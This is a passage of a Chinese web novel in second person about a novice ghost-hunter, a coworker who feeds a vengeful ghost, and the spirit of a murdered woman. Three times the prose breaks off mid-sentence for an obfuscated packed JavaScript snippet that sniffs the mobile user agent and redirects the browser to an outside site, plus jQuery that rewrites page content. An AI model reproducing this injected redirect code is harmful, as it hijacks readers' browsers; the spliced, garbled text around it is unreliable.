郁惊雪点点头,相当肯定:“当然啦,不过也有可能是我爸教我的缘故吧,如果是我妈我就不会学这么快。” 你以为是对方父亲在这方面能力更加厉害,于是说:“因为你爸在这方面领悟更多吗?” 郁惊雪摇头:“不是,是我不认真学我爸会揍我,我妈不会,她会安慰我,然后给我端来小点心,劝我慢慢来,你懂的,人会蹬鼻子上脸。” 而郁惊雪在这方面是专家。 …… 怎么都没有想到是这个原因的你:“……哈哈。” * 这两天你睡得并不好,晚上总是能听见若有若无的人声,睁开眼皮看见的是模模糊糊的黑色人影,耳边有细小的男声。 “傻子。”“好弱。”“连我的脸都不能看很久。”“冰箱里面为什么这么多速冻食品?” 好烦的鬼。 但是。 你坐在桌子上,吃着对方做的煎饼时,又觉得对方还挺好的。 是个嘴硬心软的鬼。 不过晚上要是不鬼压床你就更好了。 你回到公司,看见邻座的小姐姐正拿着一个护身符,你愣了几秒,不知为何,总感觉那枚护身符散发出若有若无的黑色烟雾。 不详的气息,总感觉靠近这个东西你就难受。 你说:“这枚护身符……”停顿几秒,你觉得如果直接说护身符有黑色烟雾应该会被对方认为是疯子,而且这姑娘脸上笑的很开心,所以于是换了句话:“这枚护身符还挺好看的,是你朋友送的吗?” 小姐姐见你夸她,忍不住笑了起来,对你说,有点害羞:“哎呀,其实也不算朋友啦,是喜欢的人。” 你:“啊……” 我靠,现实杀妻案出现在你面前了啊。 你违心地说:“哈哈哈那他还真不错啊,这种,这种这么难拿的‘护身符也可以为你求来。’” 那当然了,正常人谁能把这种厄运缠身,谁用谁死的护身符送自己女朋友。 小姑娘倒是没有听出来你的隐晦,反而异常高兴,笑眯眯地对你说:“哎呀,其实也还好啦,他的确是一个非常认真的人,说起来你应该也见过他哦。” 你不明所以。 小姑娘接着说:“就是我们公司那个呀……”她凑到你的耳边,念了一个名字,你听见以后脑海中浮现了一个身影。 哦,是那个人啊,那个被女鬼缠身,黑眼圈浓重,精神萎靡不振的大龄社畜,他身上散发出来的鬼气让你退避三舍,在公司你都绕着他走。 毕竟你打不过对方。 开什么玩笑!你就是个菜鸡,还是刚刚入门那种,身上唯一的武器就是郁惊雪塞给你的各类符纸,虽然你到现在都还没有认清那些类别。 郁惊雪又很忙,虽然偶尔会带你去训练捉鬼,但是大部分的时间,你都感觉对方在忙着其他事情。 就像那晚你初见对方,大半夜他还拿着符纸消灭鬼怪。你也问过对方到底在忙着什么,却得到了对方含糊不清的回答: “快年底了嘛。” 你不明白这句话的意思。 什么意思?快过年了所以鬼怪变多了吗?所以郁惊雪为了拯救世界开始忙碌起来了。 但是你也没有打破砂锅问到底的意思,索性就不问了。 但是郁惊雪有一点非常好的就是,不管你什么时候发消息,这家伙几乎都可以秒回,还有一次你看见对方不知道在那个犄角旮旯,给你发了个视频。 血红色的天空,下着淅淅沥沥的雨,宛如血滴落地,绽放出点点血花。 郁惊雪的声音从那边传过来:“来看最漂亮的风景。” 少年声音清朗,笑的开心,如果忽略旁边人慌慌忙忙的尖叫,你觉得你会更加放心。 郁惊雪:“我们这边非常安全呀。” “嗷嗷嗷,有鬼嗷嗷嗷。” 郁惊雪声音依旧平静:“过几天我应该就可以回家了嘿嘿,到时候我来找你哦。” “啊啊啊,救命!郁惊雪你这家伙快点动手啊!” 你:…… 什么啊。 当你耳朵不好吗?背景那个声音那么大,谁都能听到吧! 不过这家伙看起来的确不算有事,至于旁边那位就不一定了。 惨。 你从回忆中剥离,然后看着小姑娘,说:“这样啊。” 虽然想救对方,但是…… 你扭头看了一眼现在正在直勾勾盯着你的社畜,差点落泪。 根本救不了,也没法说,毕竟那家伙从一开始,或者说在你和旁边的小姐姐说话的时候,他就在看着你。 好像如果你要说什么,他就会把你杀掉。 对方注视到你的目光,朝你笑了一下,那是一种,毛骨悚然的,不太真实的笑,仿佛伪纪录片里面拍摄的伪人。 你按压住内心的恐惧,也礼貌地回了个微笑,但是内心的恐惧却怎么都压不下去,掌心甚至出了点粘腻的汗。 那个人。 你打开电脑刚刚想开始办公,但是对方身后那女鬼继续往你脑子里面钻,幻觉吗? 你舔了舔唇,喝了一口旁边的水,想:为什么感觉,那只鬼的面容越来越清晰了? 以前只是模模糊糊的一团,像灵异恐怖游戏中打了马赛克的鬼怪,但是你刚刚看的时候,那东西的脸越发清晰了,你现在已经可以看见对方血淋淋的,泛红的眼珠里面正在流出血泪,汇聚落到男人的衣服上面,又慢慢消失不见。 最重要的是…… “怎么感觉办公室越来越冷了啊?” 有人的声音响起,将许多人的目光吸引过去,那人还在喋喋不休:“真的是,明明这里是屋内吧?可是为什么我总感觉这里的温度比外面都还要冷啊?” “而且外面还在起雾啊!有没有搞错,为什么起雾的室外,甚至比室内还要暖和?” 你正在打字的手一顿。 那个人说的正是你现在想的。 屋内真的非常冷。 而且这种冷不是干冷,是湿冷,好像人靠近大雾弥漫的湖面,感受湿漉漉的雾水。 室内……会有这样的温度吗? …… “当然不会有。” 郁惊雪在和你打电话,对方那边非常吵闹,哀乐声缭绕不散。 你说:“你在参加什么葬礼吗?” 那边声音还挺大的。 郁惊雪打了个哈欠,听起来困倦,他的声音懒洋洋的,回复你:“是的,刚刚解决完一个厉鬼的事情,这家人正在举办葬礼。” 又是厉鬼啊。 郁惊雪没有多说,可能是顾及主家的隐私,所以你也没有多问,说了一句:“注意安全哦。”就转移了话题。 郁惊雪毫不在意,他说:“知道啦——这种事情对我来说就是小意思诶,不要用那种哄小孩子的语气对我说话哦。” 他说话黏糊糊甜腻腻的,像个幼稚的小鬼,你忍不住也笑了,于是说:“哦~” 你们扯了一阵,然后开始了你今天要问的话题转到:“我今天在公司遇到了一个很奇怪的人。其实也不是今天,是以前就遇到了,但是之前一直想问你,只不过记性不好,所以一直没有问。” 郁惊雪那边的声音慢慢低了下去,你猜测对方应该去了一个安静的地方,然后听你讲话。 你说:“我们公司的温度很低。”说完以后,你又觉得这句话不对劲,像句废话,于是又重新组织语言,说;“就是里面的温度,要比外面的温度冷很多,而且外面在起雾,室内的温度却还要低,还有湿润。” “但是,重点在于……”你停顿了一下,终于说出了那个你恐惧的,让你担心受怕了一天的东西:“我看见了一个女人趴在我们公司一个老员工身上,其他人好像都看不见她。” 郁惊雪听你说过,只不过你当时描述并不详细,而且那段时间他很忙——一般到了年底他都会非常忙,所以也就忘了问接下来的细节。 这次解决完了事情,于是他靠在墙角,听你继续说。 你说:“一开始我看见的只是一团灰雾,看不清楚那个东西的脸,但是这几天,我可以看见了,而且非常非常清晰,她的身上还在滴着血。” 郁惊雪:“那个啊……他有给你什么护身符之类的东西吗?” 你:“没有。” 对面松了口气。 郁惊雪说:“没有就好,你离他远一点,他在养鬼。” 养鬼? 你愣住了。 “可是那种东西,不是应该是小小的,只是一个小婴儿那种吗?” 郁惊雪继续跟你解释:“你说的是小鬼吧,但是他养的这个,是厉鬼,应该是想要复活什么人,所以留下了对方的鬼魂,再用其他人的寿命,气运,以此养蛊。” “是一种非常恶毒的鬼术,一般用了这种鬼术的人,都不会再有轮回。” “所以一般都不会有人用这个啦,不过你也不用担心,虽然我不在那边,但是我会重新给你找个人的,让她来帮你解决这个事情。” 对方宛如恶魔般的低语:“好好学哦,我回来会抽查你的。” 魔鬼吧?! 郁惊雪:“你一定不要接受对方的护身符,因为接受了那个很麻烦。” 他没有告诉你是什么麻烦,也没有告诉你到底是谁来帮你,因为下一秒他就被那边的人叫走了。 唔。 你看着已经挂断的通话记录,叹了口气。 真是的,看来郁惊雪真的非常忙啊。 也不知道对面到底是什么事情,听起来真的非常棘手。 你将手机放下,有点困了,于是沉沉睡去。 第二天,你是被手机铃声吵醒的。 熟悉的开头。 你面无表情地将电话接起来。 对面是女生的声音,你觉得有点耳熟。 女生:“诶呀,你醒了吗?” 你打了个哈欠,从床上爬起来,模模糊糊的:“快了。” 女生:“那个,我是来帮你的哦,因为我有点害怕你遇到不测,所以就很早就来打扰你了,在小区楼下等你哦。” 你看了看时间,也差不多是你上班的时候了,于是说了句:“好的,我马上下楼,等我一下吧。” 你又给对方描述了一下自己今天穿的衣服特征,这才开始下床。 对面温温柔柔的:“好呀。” 你起床开始收拾,然后出门。下楼的时候,你看见了一个漂亮的身影。 是个很可爱的女孩子,而且你还见过。 该说不说这个世界确实小吗?你竟然看见了之前就你的人,好像叫什么…… 萧桃? 萧桃看见你,朝你打了个招呼,然后凑到你的身边:“是你呀,说起来刚刚给你打电话的时候我就觉得你的声音非常耳熟,果然是你。” 原来对方还记得你。 萧桃说:“我听说你最近遇到了一些奇怪的事情,所以来帮你了。” 是个很负责的女生。 你:“麻烦了。” 萧桃笑意盈盈的时候:“没关系啦,毕竟让那种东西求着我办事的时候不多哦。” ? 那种东西是指? 你:“东西是……?” 不会是你想的那个吧? 萧桃继续:“绝对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164260|196628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是某个戴眼罩的黑毛养狗男哦,虽然他非常狗/比,做事人畜不分,让人讨厌得咬牙切齿,但是我也不会公报私仇吐槽他。” 喂喂喂!? 已经全部说了吧! 你:“哈哈哈……这是谁啊,真的好难猜。” 不要拿着答案书让你猜啊! 萧桃:“我也没有想到他收的徒弟是你,好辛苦吧?要是实在太累了,可以告诉我。” 你:“啊?” “我会让你脱离小学生的苦海的。” 郁惊雪你到底给人家留下了怎样的印象啊?让萧桃这么讨厌你。 你想想郁惊雪平时做事不着调的样子,一时之间竟然不知道该怎么说。 萧桃依旧笑的很开心:“我们加个联系方式吧,以后你要是后悔了做他的徒弟可以来找我哦,我也很缺一个弟子。” 你们成功交换了联系方式,视线随意一瞥,不小心看见了萧桃给郁惊雪设置的备注—— 哪来的狗。 …… 非常简单粗暴,看起来萧桃的确讨厌郁惊雪到了极点。 但是萧桃对你还不错,她送你到了公司门口,还给了你护身符,里面包裹着一张符纸,嘱咐你:“一定要一直带着,因为在这种地方,就算你没有拿那个男人的护身符,但是他身上的鬼怪气息也会将你吞噬,久而久之,你的气运也会被偷走,那段时间就会变得倒霉,对身体很不好。” 你道了谢,然后接了过来。 该说不愧是女孩子吗? 你接过护身符,上面总是散发着淡淡的香味,像是花果的结合体。 很甜很甜。 萧桃说:“等一会我再来找你,你先上去。” 这样说着,她站在原地看你离去。 那枚护身符到手,身上的确温暖了很多,你走到工位上,竟感觉不到昨日的寒意。 于是你戳了戳旁边的人,悄悄问:“你冷吗?” 旁边的人点点头,老实回答你:“冷,这个房间真的非常冷。” 你视线移到那个男人的身上,他身上的鬼怪还没有离开,趴在对方身上,伸出舌头开始舔对面的同事身上。 对面的同事忍不住打了个喷嚏,开始碎碎念:“为什么这么冷啊?” 然后你看见那只女鬼慢慢开始笑了起来,嘴角咧到耳后根,露出鲜红的舌头,然后慢慢吹气,不消片刻,同事的身上散发出一点淡淡的黑气。 “啪嗒。” 在那个女鬼还要更加过分的时候,萧桃出现了。 萧桃拍了拍男人的肩膀,她的视线移到男人身上。 你的老板正对着萧桃弯腰,然后问对方怎么突然来这里了。 萧桃:“来看看。” 你听见旁边的同事说:“大小姐怎么今天这么有雅兴,竟然愿意来我们这里。” “大小姐?” 你小声问:“那个女生吗?” 其实萧桃是大小姐你也能看出来一点,毕竟对方身上的东西看起来就很贵,只是没有想到是你们公司的。 同事点点头:“嗯,是公司老总的女儿啦,不过她很少出现的,我也只见过她一面,没想到今天竟然来了。” 萧桃的手刚刚碰到那个男人,你就听见那只女鬼开始慢慢尖叫起来,好像自己被什么烈火灼伤了一般,痛苦地吼叫。 “好痛,好痛,痛啊啊啊啊啊!” 你被吵得心烦,而且这种声音非常尖锐,是那种可以振破耳膜的叫声。 萧桃看了眼那个男人,问:“他叫什么?” 老板说:“李静。” 萧桃“哦”了一声,然后说:“这个员工看起来很努力啊。” 萧桃漫不经心地说着,视线却不离开。只是李静脸上不知何时流了细汗,看起来非常紧张。 李静说:“嗯……” 萧桃摆摆手:“安啦,其实我也只是来看看而已,大家做自己的事情就好了。” 她跑到你的面前,然后看你办事,继续说:“我现在就不打扰了。” 然后就真的不说话了。 她不知道从哪里找出来一个凳子,坐在你旁边开始玩手机。 说真的你还挺紧张的,这种感觉就像是老板坐你旁边看你办事。 而且你是实习生,工作也很简单,明天打任务就是摸鱼混点工资。 “不要紧张啦。”萧桃凑到你的耳边,对你说:“他肩膀上的那只女鬼已经被我解决……。” 你没有想到萧桃竟然这么厉害,仅仅只是拍了一下那只女鬼就不见了。 “并没有完全解决完。”许是萧桃见你的表情太过于崇拜,于是跟你继续解释:“只解决了一半,你仔细看看,他身上那只鬼是不是已经看不清了。” 的确,从你这个角度看,那只原本五官清晰的女鬼已经变得又开始模糊。 你说:“嗯……” 但是那个男人不会怀疑吗? 萧桃思考了片刻,把你从桌位上牵起来,又给你们老板打了个招呼,把你提走了。 萧桃:“这个员工我要借用一下。” 然后把你牵走了。 萧桃和你站在电梯里面,她说:“里面的温度,应该上升了一点吧。” 你点点头。 萧桃说:“我刚刚用了一点手段,让他暂时看不见鬼怪,所以他暂时不会发现他背上的鬼怪力量减弱了。” “但是我也发现了,他背上那只厉鬼靠的不仅仅是气运,还有一些其他的东西。” 萧桃皱眉:“如果仅仅只是靠气运,寿命这些东西养鬼,是不会养出恨意这么强的厉鬼的。” 萧桃继续说:“他一定杀人了,那个女鬼身上有一股很强的怨气,像是吞噬了许多无辜的亡魂。” 你突然想到了几天前,听这边的人在讨论的,说最近失踪了很多无辜少女的事情。 那段时间整的人心惶惶。 20. 第 20 章 她没有想到,周初竟然在这个时候回家了,所以回过头,撒了个慌:“我听见里面有声音,怀疑有老鼠,所以我想进去看看。” 周初说:“不会有老鼠的,亲爱的你看错了吧。” 周初回答得如此肯定,倒是让白惠兰有点不确定了,她看着门口,不知道为什么,总感觉那道门有点不对劲,但是又想不到是哪里不对劲,于是索性也就放弃思考了。 但是今天非常奇怪,平时对这间屋子闭口不谈的周初,却和中了邪一样,将那道门推开了,就这样轻而易举地打开。 那间屋子如他所言,的确是一间普通至极的杂物间,里面什么都没有,全是杂七杂八的家具,家具上面放了一件衣服,衣服是大红色的长裙,顺着桌子“流到”地上,在昏暗的灯光下,仿佛一滩鲜血。 周初说:“你看亲爱的,我就说里面什么都没有吧。”他的脸色苍白,甚至透露出一点灰色,脸上没有一点红润,依旧温柔的对她说:“今天有点晚了。” 周初牵住白惠兰的手,那是一双极为冰凉的手,仿佛刚刚从冰水中捞出来,这个念头让白惠兰心头一惊。 周初浑然不觉,只是握住她的手,笑得和往日一样温柔:“你饿了吗?” 这是肯定的,白惠兰一直没有吃晚饭,实习的公司晚上是不会包饭的,所以她平时都是回来吃饭,但是今天因为那个奇怪的梦,所以她没有第一时间回来做饭,反而好奇的打开了杂物间。 周初:“我带你出去吃吧。” 他们平时也会出去吃,所以白惠兰倒也没有抗议,直接答应了。 不过今天晚上很奇怪,本来平时这条街道是非常喧闹嘈杂的,今天晚上却空空荡荡,没有一个人,仿佛大家都集体回了家,安静得仿佛深山老林。 白蕙兰颇为奇怪,于是说:“今天是怎么回事?” 周初对她笑了笑,那是一种极为扭曲的笑容,不像是开心的笑容,仿佛是有人在纸上画上去的笑容,非常僵硬,而且周初瞳孔本来就大而漆黑,这次看向她的时候,一双眼睛里面仿佛没有一点眼白。 白惠兰被自己的想法吓了一跳,再次去看的时候,发现并没有任何变化。 白惠兰指着周初,问出了心中的疑惑:“你的眼睛怎么了?” 周初疑惑的,手指宛如提线木偶一般缓慢抬起,笑眯眯地说:“我的眼睛怎么了?” “我的眼睛怎么了?”“我的眼睛怎么了?” 这句话在白惠兰耳边反反复复,一直循环,仿佛四周都是这个声音,听的她头昏脑涨,一阵昏晕过后,她扑通一声倒在了地上,倒地之前,听见了很大的风声,好不容易回过神,白惠兰这才发现,周围的环境竟然变了,变成了高楼,她站在铁栏面前,栏杆被风吹得嘎吱作响,整个人已经岌岌可危了。 她不知道自己是怎么来到这里的,明明刚刚还在小区街上,现在为什么会在这里呢?只是这句话还没有想明白,背后突然传来一阵推力,瞳孔微缩中,地面离自己越来越近,越来越近,最后就是一阵黑暗,满眼的红最后被黑暗侵袭,记忆的最后,是周初让人不解的笑容。 白惠兰:“就是如此。” 你凑近对方,这个时候白惠兰已经没有刚刚那么吓人了,一张脸干干净净的,维持着死之前的体面:“说起来,那道门之前不是有锁吗?为什么你后面去开的时候反而没有了呢?” 白惠兰猛的一怔,随即看着你,你被吓得后退一步,萧桃抱住你,安慰你说没事,然后对白惠兰说:“你确定你看见的是周初吗?那个房间真的是那个样子吗?” 白惠兰:“那当然!不是他还能是谁?!那张脸我怎么可能会忘记!” 萧桃继续:“鬼会制造幻觉,这方面你应该明白,你仔细想想,他那天晚上有没有哪里不对劲? 白惠兰听见这句话,陷入了沉默,过了一会儿,她突然抬起了头,说:“他的脸,还有笑容不对劲。” 那天晚上周初的笑容仿佛是纸人画脸,非常虚假。 萧桃:“应该没错了,那个东西就是他养的东西,伪装成为了他的样子把你杀了。不过这件事情也是他默许的,毕竟你很香嘛。” 白惠兰:“我是直女。” 萧桃:“我说的是你气运的味道……而且就算我喜欢女人也不会对你感兴趣的。”她停顿了一下:“鬼喜欢人的气运,所以很多人被鬼缠上以后,运气都会走向低迷,如果你没有被夺走气运的话,现在应该可以过得非常不错。不过嘛,你被夺走了气运就另当别论了。” 你:“为什么夺走了她的气运还要杀掉她呢?这种玄幻的东西如果不说也没人会相信的吧?就算分手了也不会被发现啊。” 萧桃:“相当于杀人灭口啦,就像盗贼抢劫了害怕报警一样,所以都会把人杀掉的。” 你:“报警?” 萧桃:“就是相当于遇到我这样的高人啊,如果遇到了我这样的人就会被发现遭到反噬啊。那种东西一眼就可以看出来的,像什么气运遭到反噬之类的。” 你打了喷嚏,一身鸡皮疙瘩:“为什么我总感觉今天有点冷?”转头一看,发现白惠兰浑身血淋淋的,目眦欲裂,血水顺着衣服流下。 萧桃抱住了你:“安啦安啦,不要担心,她应该是太生气了,所以怨气加重了变成这个样子。”这样说着,萧桃扯出一张符纸,往白惠兰身上一贴,瞬间白惠兰又变回了以前的样子。 萧桃:“放轻松,放轻松,我们会帮你的。”她拿出一枚青翠的玉石,朝着白惠兰走近,那块玉刚刚碰到她,白惠兰的身体瞬间消失,化作一团白雾慢慢消失。 你:“嗯?她人呢?” 萧桃说:“在这块玉里面。因为不能让她一直留在原地,所以就只能拿个道具把她收起来了。”这样说着,她就将那块玉放到了你的手里。。 那块玉入手冰凉,像是刚刚从冰里拿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164265|196628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来的,非常奇怪的手感。 萧桃:“这块玉要交给你保管,因为你和她产生了联系。” 你有点不解,于是问了一句:“我?为什么是我呢?” 萧桃:“因为你叫了她名字嘛,如果你叫了鬼的名字你就会和她产生纠葛,这样的纠葛会一直到你解决了事情以后。” 这样吗? 你:“那她会不会伤害我?” 毕竟你刚刚看对方一开始的样子还挺恐怖的,万一萧桃不在身边白惠兰动手你也没办法啊。 萧桃:“我下了禁锢,不会有事情的,她如果伤害你就会收到惩罚,而且最重要的是,她还需要你解决周初这件事情,换来自己的轮回资格,所以不会伤害你。她在你的身边也会保护你的平安。” 你这才放心了。 萧桃将你送到了小区楼下,你就慢慢回家了,走到门口的时候,你听见旁边传来了一道声音。 白惠兰:“你的房子好舒服。” 你不知道对方为什么突然说这句话,只以为是她在夸你,于是傻乎乎地回复:“真的吗?而且价格也很便宜哦,非常适合我这种实习生。” 白惠兰用一种看傻子的眼神看你,然后说了一句:“难怪了。” 你打开门,屋内安安静静,只有窗帘被风吹动的声音,沙沙作响。 你疑惑:“我记得我出门不是把窗户关闭了吗?” 白惠兰和你聊天:“那可能是因为你的‘合租伙伴’帮你打开了吧。” 你的合租伙伴早就离开了,所以你权当白惠兰在胡说八道,只是为了吓吓你。 白惠兰将电视机打开,挑了个自己喜欢的电视剧看,由于今天有些晚了,你也有点饿,于是去泡了一碗泡面,看见白惠兰的样子颇为惊奇:“鬼也会看电视吗?” 白惠兰抱着枕头,说:“变成鬼之前我也是人啊,而且一天到晚终日游荡在那个工厂也是非常无聊的啊,虽然大多数时间都是没有意识的,但是在极少数有意识的时间里面,只能看着蓝天白云发呆。” 这样一听你觉得对方还挺可怜的,于是说:“好惨。” 白惠兰:“是啊,不过唯一的好处就是我那些堆着的剧终于完结了,可以一口气看个爽了吧。” 你还挺佩服对方这种心态。 你将泡好的泡面端出来吃了,因为饿得惨了,所以这顿吃的格外香,白惠兰对这些好像不感兴趣,你问:“你会饿吗?” 白惠兰:“死掉以后就不会有这种感觉了。” 变成鬼魂以后什么感觉都没有了,轻飘飘的,饥饿感也随着死亡一起消失了。 这样一听…… 你觉得死掉了好无聊啊。 白蕙兰:“而且如果寿命还没有到的话,是不能去投胎的,要一直在那个地方循环,一直待到你寿命时间到了才可以。” “不过如果遇到了厉害的人,他们是可以送你去投胎的。” 21. 第 21 章 你吃完了泡面,就去睡觉了,白惠兰是鬼魂,不用睡觉,所以就躺在沙发上看电视。今天晚上不知道是不是因为有白惠兰的原因,你没有听见奇怪的声音了。 你将冰箱里面的面包拿出来,就看见白惠兰还在看电视,她旁边坐了一个女人,那女人头发很长,一双眼睛直勾勾地盯着你,看着颇为渗入,你被吓了一跳,随即道:“这谁?” 白惠兰:“你的合租室友啊。”她将对方按住,继续说:“你最近听见的声音就是这位合租室友闹出来的。” 你方才反应过来,最近晚上经常听见的声音,还有上一个合租室友跑掉的事情,于是问:“所以……这些天都是她做的,难怪把我室友吓走了。” 白惠兰:“嗯,她应该是跳楼死掉的,所以灵魂一直无法投胎,只能不断重复生前的动作,直到寿命将近。” 你觉得对方还挺可怜的,但也只是一瞬间,因为下一秒你就听见白惠兰说:“本来她是想要带你走的,因为害死一个人就是一个替死鬼,但是她没有想到…….” 你有点激动,说:“没有想到我太厉害了,阳气太重了吗? 白惠兰面无表情:“不是,是没有想到你反应这么慢,竟然不会被吓到,毕竟鬼杀人是需要途径的,比如恐惧值到达了一定数值,才会被影响,但是你没有反应过来,每次都是看着看着就迷迷糊糊去睡觉了,所以才不能乘人之危。”说到这里她竟然笑了一下:“傻人有傻福。” 你:“……” 那能怪你吗?每天累得很,一下班回来就想睡觉啊! 白惠兰伸了个懒腰,继续说:“明明一开始就说了啊,你的房间让我很舒服。你要不要仔细想想,能让鬼舒服的地方是什么样子呢?那肯定是阴气重的屋子啊。” 你:“至少房租便宜。”这是你唯一可以安慰你的地方。 白惠兰突然沉默,你以为对方想起了什么重要的事情,于是问:“怎么了?你想到了什么重要的的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164266|196628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情吗?” 对方却摇了摇头,说:“我只是想到,我当初出来实习的时候,连租房的钱都没有。” 你:“你的工资只有一两千吗? 如果是实习期的工资只有这么一点,所以租不了房子倒也情有可原,谁知道下一秒,你听见对方说:“不是,我没有工资。” 你沉默了,于是选择转移话题:“你现在打算怎么处置这个人?”说出来以后,又突然觉得这句话不对:“应该是这个鬼?” 白惠兰:“啊,没事,我会管好她的,但是我刚刚发现了一个东西。” 你说:“什么东西?” 白惠兰欲言又止,似乎想要说些什么,但是最后也只是委婉地来了一句:“你结婚了吗?” 你觉得莫名其妙,然后说:“没有。” 怎么可能结婚啊。 白惠兰:“不是阳间的婚礼,是阴间的,简称为阴婚,你没有发现什么不对劲吗?关于自己的身体。”